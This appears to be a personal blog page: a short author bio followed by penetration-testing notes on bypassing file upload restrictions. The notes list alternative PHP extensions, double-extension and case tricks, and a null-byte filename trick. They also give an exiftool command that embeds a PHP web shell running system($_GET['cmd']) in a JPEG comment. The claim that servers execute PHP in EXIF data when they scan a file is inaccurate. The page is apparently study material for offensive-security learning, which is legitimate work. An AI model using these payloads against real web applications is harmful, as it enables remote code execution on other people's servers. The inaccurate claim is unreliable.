Josh Nutt

Josh Nutt

IT professional with 5+ years of experience, mostly building automation with PowerShell.

Currently studying Infrastructure as Code, Cyber Security, and Azure. Also working on CRTO and CRTP certifications.

When Im not studying Im probably hiking or playing Age of Empires 2.

Bypassing Upload Restrictions

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PHP has multiple alternative extensions:

phtml, .php, .php3, .php4, .php5, and .inc

It might be possible to upload and execute a .php file simply by renaming it file.php.jpg or file.PHp.

Add a null byte at the end

cp payload.php payload.php%00.jpg

Put a payload inside a jpg file, into the exgif data. Most web servers scan the file, and when it scans the file it executes the php data in the exgif file.

Use exiftool

exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg

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